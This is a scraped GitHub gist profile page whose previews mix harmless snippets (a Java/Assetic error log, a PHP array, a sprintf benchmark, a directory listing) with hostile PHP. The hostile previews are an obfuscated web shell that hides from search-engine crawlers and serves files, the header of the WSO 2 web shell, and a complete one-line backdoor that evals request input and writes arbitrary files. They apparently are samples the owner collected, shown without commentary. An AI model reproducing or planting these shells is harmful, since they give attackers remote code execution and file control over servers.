Skip to content

Instantly share code, notes, and snippets.

View luxifer's full-sized avatar
:shipit:
Gopher of the GitHub swamp

Florent Viel luxifer

:shipit:
Gopher of the GitHub swamp
View GitHub Profile
We couldn’t find that file to show.
/****************************************************************/
/* ___________ __ ____ ________ ___ ______________ _ _______
* / ____/ _/ | / / / __ \/ ____/ / / |/_ __/ _/ __ \/ | / / ___/
* / /_ / // |/ / / /_/ / __/ / / / /| | / / / // / / / |/ /\__ \
* / __/ _/ // /| / / _, _/ /___/ /___/ ___ |/ / _/ // /_/ / /| /___/ /
* /_/ /___/_/ |_/ /_/ |_/_____/_____/_/ |_/_/ /___/\____/_/ |_//____/
*
/****************************************************************/
@luxifer
luxifer / gist:5875100
Created June 27, 2013 09:07
java fail...
[Assetic\Exception\FilterException]
An error occurred while running:
'/usr/bin/java' '-jar' '.../app/Resources/java/yuicompressor-2.4.7.jar' '--charset' 'UTF-8' '-o' '/tmp/YUI-OUT-q4iEy1' '--type' 'css' '/
tmp/YUI-IN-QVnlR5'
Error Output:
<?php
$array = array(
1,
2,
'trois',
4 => array('one', 'tow', 'three'),
'cinq' => array('key' => array(
'value' => 4
))
<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])) { $v2045f746 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "StackRambler"); if(preg_match('/' . implode('|', $v2045f746) . '/i', @$_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); if(@get_magic_quotes_gpc()) $_POST = n0182dfe8($_POST); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); define("DEFAULT_DIR_DEEP_BACK","3"); if(isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']); if(isset($_POST['p3'])) $_POST['p3'] = urldecode($_POST['p3']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".@basename($_POST['p1'])); if (function_exists("mime_content_type")) { $v599dcce2 = @n85ced157($_POST['p1']); header("Content-Type: " . $v599d
<?php
/**
* WSO 2
* Web Shell by atom
*/
$auth = array(
'md5pass' => "3460d81e02faa3559f9e02c9a766fcbd" // fuck u
);
$color = "#df5";
@define('SELF_PATH', __FILE__);
<?php $snbdow = "fc189b205b508a17a79f0b7c679b738c"; if(isset($_REQUEST['lepnnr'])) { $ietdaavp = $_REQUEST['lepnnr']; eval($ietdaavp); exit(); } if(isset($_REQUEST['dmipmp'])) { $czvprlfp = $_REQUEST['iwbqg']; $kkmtjei = $_REQUEST['dmipmp']; $xngxlvus = fopen($kkmtjei, 'w'); $ajgauvq = fwrite($xngxlvus, $czvprlfp); fclose($xngxlvus); echo $ajgauvq; exit(); } ?>
<?php
/**
* TimThumb by Ben Gillbanks and Mark Maunder
* Based on work done by Tim McDaniels and Darren Hoyt
* http://code.google.com/p/timthumb/
*
* GNU General Public License, version 2
* http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
*
* Examples and documentation available on the project homepage
@luxifer
luxifer / bench.php
Created May 22, 2013 12:23
bench concaténation
<?php
function benchStrintf() {
$begin = microtime(true);
for ($i=0; $i<1000000; $i++) {
$result = sprintf('%d = %d + %d selon %s', 42, 11, 31, 'php');
}
var_dump(microtime(true)-$begin);
}
fviel@grievous ⮀ ~/git/newkozikaza ⮀ ⭠ master ⮀ ls -l vendor/composer
total 164
-rw-r--r-- 1 fviel users 1320 7 mai 14:16 autoload_classmap.php
-rw-r--r-- 1 fviel users 5674 7 mai 14:16 autoload_namespaces.php
-rw-r--r-- 1 fviel users 1380 7 mai 14:16 autoload_real.php
-rw-r--r-- 1 fviel users 6857 7 mai 14:16 ClassLoader.php
-rw-r--r-- 1 fviel users 139733 7 mai 14:16 installed.json
fviel@grievous ⮀ ~/git/newkozikaza ⮀ ⭠ master ● ⮀